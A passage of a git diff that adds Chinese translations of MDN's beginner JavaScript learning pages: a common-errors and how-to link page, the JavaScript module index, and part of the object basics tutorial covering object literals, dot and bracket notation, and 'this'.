href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables">变量:储存所需信息</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Math">数字和运算符:JavaScript 的基本算数</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Strings">字符串:JavaScript 文本的处理</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">字符串的一些实用方法</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Arrays">数组</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">课程评估:笑话机</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/howto/index.html b/files/zh-cn/learn/javascript/howto/index.html new file mode 100644 index 0000000000..0aaa32f374 --- /dev/null +++ b/files/zh-cn/learn/javascript/howto/index.html @@ -0,0 +1,294 @@ +--- +title: 在JavaSctript中解决问题 +slug: learn/JavaScript/Howto +tags: + - JavaScript + - 初学者 + - 学习 +translation_of: Learn/JavaScript/Howto +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">以下链接指向您需要修复的日常常见问题的解决方案,以使您的JavaScript代码正确运行。</p> + +<h2 id="初学者常见的错误">初学者常见的错误</h2> + +<h3 id="正确的拼写和使用">正确的拼写和使用</h3> + +<p>如果你的代码不工作或浏览器抱怨某些东西是未定义的,请检查你是否正确拼写了所有的变量名称,函数名称等。 <br> + <br> + 导致问题的一些常见的内置浏览器函数有:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">正确</th> + <th scope="col">错误</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>getElementsByTagName()</code></td> + <td><code>getElementbyTagName()</code></td> + </tr> + <tr> + <td><code>getElementsByName()</code></td> + <td><code>getElementByName()</code></td> + </tr> + <tr> + <td><code>getElementsByClassName()</code></td> + <td><code>getElementByClassName()</code></td> + </tr> + <tr> + <td><code>getElementById()</code></td> + <td><code>getElementsById()</code></td> + </tr> + </tbody> +</table> + +<h3 id="分号位置">分号位置</h3> + +<p>必须确保没有错误的放置分号,例如:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">正确</th> + <th scope="col">错误</th> + </tr> + <tr> + <td><code>elem.style.color = 'red';</code></td> + <td><code>elem.style.color = 'red;'</code></td> + </tr> + </thead> +</table> + +<h3 id="函数">函数</h3> + +<p>函数有很多容易出错的地方。</p> + +<p>最常见的错误之一是函数被声明了却没有被调用。例如:</p> + +<pre class="brush: js">function myFunction() { + alert('This is my function.'); +};</pre> + +<p>这个函数不会执行,除非你调用它,例如:</p> + +<pre class="brush: js">myFunction();</pre> + +<h4 id="函数作用域">函数作用域</h4> + +<p>记住<a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">函数拥有自己的作用域</a>——你不能从函数外部访问一个函数内的变量值,除非你在全局声明了该变量(即不在任何函数内),或者从函数外部获得它的<a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">返回值</a>。</p> + +<h4 id="在return语句之后运行代码">在return语句之后运行代码</h4> + +<p>还要记住,当你向一个函数外部返回一个值时,JavaScript解释器会退出这个函数——在return语句运行之后,没有声明任何代码。</p> + +<p>事实上,如果您在返回语句之后有代码,某些浏览器(如Firefox)会在开发人员控制台中给您一条错误消息。 Firefox在返回语句后给你提示“无法访问的代码”。</p> + +<h3 id="对象标记法与正常赋值">对象标记法与正常赋值</h3> + +<p>当你在JavaScript中正常赋值时,使用等号:</p> + +<pre class="brush: js">var myNumber = 0;</pre> + +<p>但是在<a href="/en-US/docs/Learn/JavaScript/Objects">对象</a>中,你需要使用冒号来分隔成员名称和值,并用逗号分隔每个成员,例如:</p> + +<pre class="brush: js">var myObject = { + name : 'Chris', + age : 38 +}</pre> + +<h2 id="基本定义">基本定义</h2> + +<div class="column-container"> +<div class="column-half"> +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#A_high-level_definition">JavaScript是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#What_is_a_variable">变量是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings">字符串是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#What_is_an_Array">数组是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">循环是什么?</a></li> +</ul> +</div> + +<div class="column-half"> +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions">函数是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events">事件是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">对象是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#No_really_what_is_JSON">JSON是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction#What_are_APIs">web API是什么?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#The_document_object_model">DOM是什么?</a></li> +</ul> +</div> +</div> + +<h2 id="基本用例">基本用例</h2> + +<div class="column-container"> +<div class="column-half"> +<h3 id="常见">常见</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#How_do_you_add_JavaScript_to_your_page">怎么在页面中添加JavaScript?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript#Comments">怎么在JavaScript中添加注释?</a></li> +</ul> + +<h3 id="变量">变量</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Declaring_a_variable">如何声明一个变量?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Initializing_a_variable">如何初始化一个变量的值?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#Updating_a_variable">如何更新变量的值?</a> (参见 <a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Assignment_operators">赋值操作符</a>)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables#Variable_types">JavaScript中有哪些数据类型?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Variables#Loose_typing">'弱类型'是什么意思?</a></li> +</ul> + +<h3 id="数字">数字</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Types_of_numbers">What types of number do you have to deal with in web development?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Arithmetic_operators">How do you do basic math in JavaScript?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Operator_precedence">What is operator precedence, and how is it handled in JavaScript?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Math#Increment_and_decrement_operators">How do you increment and decrement values in JavaScript?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Math#Comparison_operators">How do you compare values in JavaScript?</a> (e.g. to see which one is bigger, or to see if one value is equal to another).</li> +</ul> + +<h3 id="字符串">字符串</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Creating_a_string">How do you create a string in JavaScript?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Single_quotes_versus_double_quotes">Do you have to use single quotes or double quotes?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Escaping_characters_in_a_string">How do you escape characters in strings?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">How do you join strings together?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Strings#Numbers_versus_strings">Can you join strings and numbers together?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_the_length_of_a_string">How do you find the length of a string?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Retrieving_a_specific_string_character">How you find what character is at a certain position in a string?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_a_substring_inside_a_string_and_extracting_it">How do you find and extract a specific substring from a string?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Changing_case">How do you change the case of a string?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods#Updating_parts_of_a_string">How do you replace one specific substring with another?</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="数组">数组</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Creating_an_array">怎么创建数组?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Accessing_and_modifying_array_items">如何访问和修改数组中的元素?</a> (包括多维数组)</li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Finding_the_length_of_an_array">怎么获取数组的长度?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Adding_and_removing_array_items">怎么添加和移除数组中的元素?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/Arrays#Converting_between_strings_and_arrays">如何将一个字符串拆分为数组,或将数组拼接成一个字符串?</a></li> +</ul> + +<h3 id="JavaScript_调试">JavaScript 调试</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong#Types_of_error">什么是错误的基本类型?</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">什么是浏览器开发工具,如何使用它?</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#The_Console_API">怎么在JavaScript控制台打印值?</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Using_the_JavaScript_debugger">怎么使用断点和其他JavaScript调试工具?</a></li> +</ul> + +<p>For more information on JavaScript debugging, see <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a>; also see <a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong#Other_common_errors">Other common errors</a> for a description of common errors.</p> + +<h3 id="Making_decisions_in_code">Making decisions in code</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals">How do you execute different blocks of code, depending on a variable's value or other condition?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#if_..._else_statements">How do you use if ...else statements?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Nesting_if_..._else">How do nest one decision block inside another?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Logical_operators_AND_OR_and_NOT">How do you use AND, OR, and NOT operators in JavaScript?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#switch_statements">How do you conveniently handle a large number of choices for one condition?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/conditionals#Ternary_operator">How do you use a ternary operator to make a quick choice between two options based on a true or false test?</a></li> +</ul> + +<h3 id="循环迭代">循环/迭代</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code">How do you run the same bit of code over and over again?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#Exiting_loops_with_break">How do you exit a loop before the end if a certain condition is met?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#Skipping_iterations_with_continue">How do you skip to the next iteration of a loop if a certain condition is met?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while">How do you use while and do ... while loops?</a></li> + <li>How to iterate over the elements in an array</li> + <li>How to iterate over the elements in a multidimensional array</li> + <li>How to iterate over the members in an object</li> + <li>How to iterate over the members of an object nested inside an array</li> +</ul> +</div> +</div> + +<h2 id="中级用例">中级用例</h2> + +<div class="column-container"> +<div class="column-half"> +<h3 id="函数_2">函数</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Built-in_browser_functions">How do you find functions in the browser?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Functions_versus_methods">What is the difference between a function and a method?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">How do you create your own functions?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Invoking_functions">How do you run (call, or invoke) a function?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions">What is an anonymous function?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_parameters">How do you specify parameters (or arguments) when invoking a function?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">What is function scope?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Return_values">What are return values, and how do you use them?</a></li> +</ul> + +<h3 id="对象">对象</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Object_basics">How do you create an object?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Dot_notation">What is dot notation?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Bracket_notation">What is bracket notation?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#Setting_object_members">How do you get and set the methods and properties of an object?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics#What_is_this">What is <code>this</code>, in the context of an object?</a></li> + <li><a href="/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">What is object-oriented programming?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Constructors_and_object_instances">What are constructors and instances, and how do you create them?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS#Other_ways_to_create_object_instances">What different ways are there to create objects in JavaScript?</a></li> +</ul> + +<h3 id="JSON">JSON</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#JSON_structure">How do you structure JSON data, and read it from JavaScript?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#Loading_our_JSON">How can you load a JSON file into a page?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON#Converting_between_objects_and_text">How do you convert a JSON object to a text string, and back again?</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="事件">事件</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_handler_properties">What are event handlers and how do you use them?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Inline_event_handlers_%E2%80%94_don%27t_use_these">What are inline event handlers?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#addEventListener()_and_removeEventListener()">What does the <code>addEventListener()</code> function do, and how do you use it?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#What_mechanism_should_I_use">Which mechanism should I use to add event code to my web pages?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_objects">What are event objects, and how do you use them?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Preventing_default_behaviour">How do you prevent default event behaviour?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">How do events fire on nested elements? (event propagation, also related — event bubbling and capturing)</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Building_blocks/Events#Event_delegation">What is event delegation, and how does it work?</a></li> +</ul> + +<h3 id="面向对象的JavaScript">面向对象的JavaScript</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">What are object prototypes?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes#The_constructor_property">What is the constructor property, and how can you use it?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes#Modifying_prototypes">How do you add methods to the constructor?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">How do you create a new constructor that inherits its members from a parent constructor?</a></li> + <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance#Object_member_summary">When should you use inheritance in JavaScript?</a></li> +</ul> + +<h3 id="Web_APIs">Web APIs</h3> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#Active_learning_Basic_DOM_manipulation">How do you manipulate the DOM (e.g. adding or removing elements) using JavaScript?</a></li> +</ul> + +<p> </p> +</div> +</div> diff --git a/files/zh-cn/learn/javascript/index.html b/files/zh-cn/learn/javascript/index.html new file mode 100644 index 0000000000..35969ae0a7 --- /dev/null +++ b/files/zh-cn/learn/javascript/index.html @@ -0,0 +1,61 @@ +--- +title: JavaScript +slug: learn/JavaScript +tags: + - JavaScript + - 初学者 + - 编写脚本 +translation_of: Learn/JavaScript +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">{{Glossary('JavaScript')}} 编程语言允许你在 Web 页面上实现复杂的功能。如果你看到一个网页不仅仅显示静态的信息,而是显示依时间更新的内容,或者交互式地图,或者 2D/3D 动画图像,或者滚动的视频播放器,等等——你基本可以确定,这需要 JavaScript 的参与。</p> + +<h2 id="学习路线">学习路线</h2> + +<p>很多人认为,与相关技术如 <a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">HTML</a> 和 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS">CSS</a> 相比,学习 JavaScript 更为困难。在尝试学习 JavaScript 之前,我们强烈建议你首先至少熟悉上述这两种技术,一些其他知识可能也会有帮助。你可以从以下模块开始学习之旅:</p> + +<ul> + <li><a href="/zh-CN/docs/Learn/Getting_started_with_the_web">开始了解 Web</a></li> + <li><a href="/zh-CN/docs/Web/Guide/HTML/Introduction">HTML 入门</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS">CSS 入门</a></li> +</ul> + +<p>拥有其他编程语言的经验也许会有帮助。</p> + +<p>熟悉 JavaScript 的基本概念之后,你将具备学习更多高级主题的能力,比如这些:</p> + +<ul> + <li>深入理解 JavaScript,如 <a href="/zh-CN/docs/Web/JavaScript/Guide">JavaScript 指南</a>中的内容</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/API">Web APIs</a></li> +</ul> + +<h2 id="模块">模块</h2> + +<p>本主题包含以下模块,我们建议你按照下列顺序阅读。</p> + +<dl> + <dt><a href="/zh-CN/docs/Learn/JavaScript/First_steps">JavaScript 第一步</a></dt> + <dd>作为 JavaScript 学习的第一个模块,在开始编写第一段代码之前,我们首先回答一些基础的问题,比如“JavaScript 是什么?”、“它的代码长什么样?”、以及“它能做什么?”。之后我们会详细讨论一些 JavaScript 的关键功能,比如变量、字符串、数字、数组等。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Building_blocks">构成 JavaScript 的“砖块”</a></dt> + <dd>在这个模块中,我们继续介绍 JavaScript 的关键的基础功能,并逐渐将注意力转移到常见类型的代码块,比如条件语句、循环、函数、以及事件等。你应该已经遇到过这些概念,而这里我们将正式学习。</dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Objects">JavaScript 对象初识</a></dt> + <dd>在 JavaScript 中,绝大多数东西都是对象;从作为 JavaScript 核心功能的字符串和数组,到建立在 JavaScript 之上的浏览器 API,无一不是对象。你甚至可以自己创建对象,将相关的函数和变量封装打包。想要进一步学习 JavaScript 语言知识、写出高效的代码的话,理解这种面向对象的特性是必不可少的。这个模块将帮助你了解“对象”,我们将详细介绍对象的设计思想和语法、如何创建对象,并解释 JSON 数据是什么、如何使用。</dd> + <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Asynchronous">异步JavaScript</a></dt> + <dd> + <p>这个模块介绍异步JavaScript: 为什么重要,如何用它来处理 可能引起阻塞的操作(比如从服务器获取资源)</p> + </dd> + <dt><a href="/zh-CN/docs/Learn/JavaScript/Client-side_web_APIs">客户端 Web API</a></dt> + <dd>为网站或应用编写客户端 JavaScript 脚本时,你很难不用到 Web API 接口。这些接口允许你一定程度上操纵网页所运行在的浏览器和操作系统、甚至来自其他网站和服务的数据。在这个模块中,我们将了解有哪些 API,并学习使用开发过程中最常见的 API。</dd> +</dl> + +<h2 id="解决常见的JavaScript问题">解决常见的JavaScript问题</h2> + +<p><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Howto">解决常见的JavaScript问题</a> 提供一些链接,解释如何使用JavaScript来解决创建网页时非常常见的问题。</p> + +<h2 id="另见">另见</h2> + +<dl> + <dt><a href="https://www.youtube.com/user/codingmath">Coding math</a></dt> + <dd>由 <a href="https://twitter.com/bit101">Keith Peters</a> 制作的一个优秀的视频教程系列,向你传授高效编程所需的必备技能。</dd> +</dl> diff --git a/files/zh-cn/learn/javascript/objects/basics/index.html b/files/zh-cn/learn/javascript/objects/basics/index.html new file mode 100644 index 0000000000..48c8646a07 --- /dev/null +++ b/files/zh-cn/learn/javascript/objects/basics/index.html @@ -0,0 +1,243 @@ +--- +title: JavaScript 对象基础 +slug: Learn/JavaScript/Objects/Basics +translation_of: Learn/JavaScript/Objects/Basics +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects")}}</div> + +<p class="summary">在这学习JavaScript的对象的首篇文章中,我们将会学习有关对象基础的语法,并且回顾一些之前学过的JavaScript的一些特点,使你明白你所使用过的一些功能实际上是由对象提供的。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基础计算机基础, 了解基础的HTML 和 CSS, 熟悉 JavaScript 基础 (基础知识看这里 <a href="/en-US/docs/Learn/JavaScript/First_steps">First steps</a> 和这里 <a href="/en-US/docs/Learn/JavaScript/Building_blocks">Building blocks</a>).</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>理解面向对象编程背后的基础理论, 怎样理解 JavaScript ("一切皆对象most things are objects"), 如何开始使用JavaScript对象.</td> + </tr> + </tbody> +</table> + +<h2 id="对象基础">对象基础</h2> + +<p>对象是一个包含相关数据和方法的集合(通常由一些变量和函数组成,我们称之为对象里面的属性和方法),让我们通过一个例子来了解它们。</p> + +<p>首先, 将 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs.html">oojs.html</a> 文件复制到本地. 此文件包含非常少 — 一个供我们写源代码的 {{HTMLElement("script")}} 标签, 一个供我们输入示例指令的 {{HTMLElement("input")}} 标签,当页面被渲染时, 一些变量定义, 一个输出任何输入到{{HTMLElement("input")}}的内容输出到{{HTMLElement("p")}}标签的函数。我们用这个文件做为基础探索对象的基础语法.</p> + +<p>如同Javascript中的很多东西一样,创建一个对象通常先定义初始化变量。 尝试在您已有的文件中JavaScript代码下面输入以下内容, 保存刷新页面:</p> + +<pre class="brush: js">var person = {};</pre> + +<p>如果你在浏览器控制台输入person,然后按下Enter(确认)键,你会得到如下结果:</p> + +<pre class="brush: js">[object Object]</pre> + +<p>恭喜, 你刚创建了你的第一个对象. 干的漂亮! 但这是一个空对象,所以我们做不了更多的事情。像下面一样更新下我们的对象:</p> + +<pre class="brush: js">var person = { + name : ['Bob', 'Smith'], + age : 32, + gender : 'male', + interests : ['music', 'skiing'], + bio : function() { + alert(this.name[0] + ' ' + this.name[1] + ' is ' + this.age + ' years old. He likes ' + this.interests[0] + ' and ' + this.interests[1] + '.'); + }, + greeting: function() { + alert('Hi! I\'m ' + this.name[0] + '.'); + } +}; +</pre> + +<p>保存刷新后, 尝试在你的浏览器控制台输入下面的内容:</p> + +<pre class="brush: js">person.name[0] +person.age +person.interests[1] +person.bio() +person.greeting()</pre> + +<p>现在在你的对象里得到了一些数据和功能(functionality),现在可以通过简单的语法访问他们了!</p> + +<div class="note"> +<p><strong>Note</strong>:如果做上面的东西遇到了麻烦,尝试拿你的代码与我们的版本做对比——对比 <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-finished.html">oojs-finished.html</a> (也可以 <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-finished.html">看实际效果</a>)。一个对于初学者很常见的错误是在最后一个成员后面多了一个逗号,这会引发错误。</p> +</div> + +<p>所以发生了什么?一个对象由许多的成员组成,每一个成员都拥有一个名字(像上面的name、age),和一个值(如['Bob', 'Smith']、32)。每一个名字/值(name/value)对被逗号分隔开,并且名字和值之间由冒号(:)分隔,语法规则如下所示:</p> + +<pre class="brush: js">var objectName = { + member1Name : member1Value, + member2Name : member2Value, + member3Name : member3Value +}</pre> + +<p>对象成员的值可以是任意的,在我们的person对象里有字符串(string),数字(number),两个数组(array),两个函数(function)。前4个成员是资料项目,被称为对象的属性(property),后两个成员是函数,允许对象对资料做一些操作,被称为对象的方法(method)</p> + +<p>一个如上所示的对象被称之为对象的字面量(literal)——手动的写出对象的内容来创建一个对象。不同于从类实例化一个对象,我们会在后面学习这种方式。</p> + +<p>当你想要传输一些有结构和关联的资料时常见的方式是使用字面量来创建一个对象,举例来说,发起一个请求到服务器以存储一些数据到数据库,发送一个对象要比分别发送这些数据更有效率,而且比起数组更为易用,因为你使用名字(name)来标识这些资料。</p> + +<h2 id="点表示法">点表示法</h2> + +<p>在上面的例子中,你使用了点表示法(dot notation)来访问对象的属性和方法。对象的名字表现为一个命名空间(namespace),它必须写在第一位——当你想访问对象内部的属性或方法时,然后是一个点(.),紧接着是你想要访问的项目,标识可以是简单属性的名字(name),或者是数组属性的一个子元素,又或者是对象的方法调用。如下所示:</p> + +<pre class="brush: js">person.age +person.interests[1] +person.bio()</pre> + +<h3 id="子命名空间">子命名空间</h3> + +<p>可以用一个对象来做另一个对象成员的值。例如将name成员</p> + +<pre class="brush: js">name : ['Bob', 'Smith'],</pre> + +<p>改成</p> + +<pre class="brush: js">name : { + first : 'Bob', + last : 'Smith' +},</pre> + +<p>这样,我们实际上创建了一个子命名空间,听起来有点复杂,但用起来很简单,你只需要链式的再使用一次点表示法,像这样:</p> + +<pre class="brush: js">person.name.first +person.name.last</pre> + +<p><strong>注意</strong>:你需要改变你之前的代码,从</p> + +<pre class="brush: js">name[0] +name[1]</pre> + +<p>改成</p> + +<pre class="brush: js">name.first +name.last</pre> + +<p>否则,你的方法不再有效。</p> + +<h2 id="括号表示法">括号表示法</h2> + +<p>另外一种访问属性的方式是使用括号表示法(bracket notation),替代这样的代码</p> + +<pre class="brush: js">person.age +person.name.first</pre> + +<p>使用如下所示的代码:</p> + +<pre class="brush: js">person['age'] +person['name']['first']</pre> + +<p>这看起来很像访问一个数组的元素,从根本上来说是一回事儿,你使用了关联了值的名字,而不是索引去选择元素。难怪对象有时被称之为关联数组(associative array)了——对象做了字符串到值的映射,而数组做的是数字到值的映射。</p> + +<h2 id="设置对象成员">设置对象成员</h2> + +<p>目前我们仅仅看到了如何访问对象的成员,而你其实也可以设置对象成员的值,通过声明你要设置的成员,像这样:</p> + +<pre class="brush: js">person.age = 45 +person['name']['last'] = 'Cratchit'</pre> + +<p>尝试这些代码,然后再查看这些成员是否已经被改变了</p> + +<pre class="brush: js">person.age +person['name']['last']</pre> + +<p>设置成员并不意味着你只能更新已经存在的属性的值,你完全可以创建新的成员,尝试以下代码:</p> + +<pre class="brush: js">person['eyes'] = 'hazel' +person.farewell = function() { alert("Bye everybody!") }</pre> + +<p>现在你可以测试你新创建的成员</p> + +<pre class="brush: js">person['eyes'] +person.farewell()</pre> + +<p>括号表示法一个有用的地方是它不仅可以动态的去设置对象成员的值,还可以动态的去设置成员的名字。</p> + +<p>比如说,我们想让用户能够在他们的数据里存储自己定义的值类型,通过两个input框来输入成员的名字和值,通过以下代码获取用户输入的值:</p> + +<pre class="brush: js">var myDataName = nameInput.value +var myDataValue = nameValue.value</pre> + +<p>我们可以这样把这个新的成员的名字和值加到person对象里:</p> + +<pre class="brush: js">person[myDataName] = myDataValue</pre> + +<p>为了测试这个功能,尝试在你的代码里添加以下几行,就在person对象的右花括号的下面:</p> + +<pre class="brush: js">var myDataName = 'height' +var myDataValue = '1.75m' +person[myDataName] = myDataValue</pre> + +<p>现在,保存并刷新,在输入框里输入以下代码:</p> + +<pre class="brush: js">person.height</pre> + +<p>这是使用点表示法无法做到的,点表示法只能接受字面量的成员的名字,不接受变量作为名字。</p> + +<h2 id="this的含义">"this"的含义</h2> + +<p>你也许在我们的方法里注意到了一些奇怪的地方,看这个例子:</p> + +<pre class="brush: js">greeting: function() { + alert('Hi! I\'m ' + this.name.first + '.'); +}</pre> + +<p>你也许想知道"this"是什么,关键字"this"指向了当前代码运行时的对象( 原文:the current object the code is being written inside )——这里即指person对象,为什么不直接写person呢?当你学到下一篇<a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a>文章时,我们开始使用构造器(constructor)时,"this"是非常有用的——它保证了当代码的上下文(context)改变时变量的值的正确性(比如:不同的person对象拥有不同的name这个属性,很明显greeting这个方法需要使用的是它们自己的name)。</p> + +<p>让我们以两个简单的person对象来说明:</p> + +<pre class="brush: js">var person1 = { + name : 'Chris', + greeting: function() { + alert('Hi! I\'m ' + this.name + '.'); + } +} + +var person2 = { + name : 'Brian', + greeting: function() { + alert('Hi! I\'m ' + this.name + '.'); + } +}</pre> + +<p>在这里,person1.greeting()会输出:"Hi! I'm Chris.";person2.greeting()会输出:"Hi! I'm Brain.",即使greeting这个方法的代码是一样的。就像我们之前说的,this 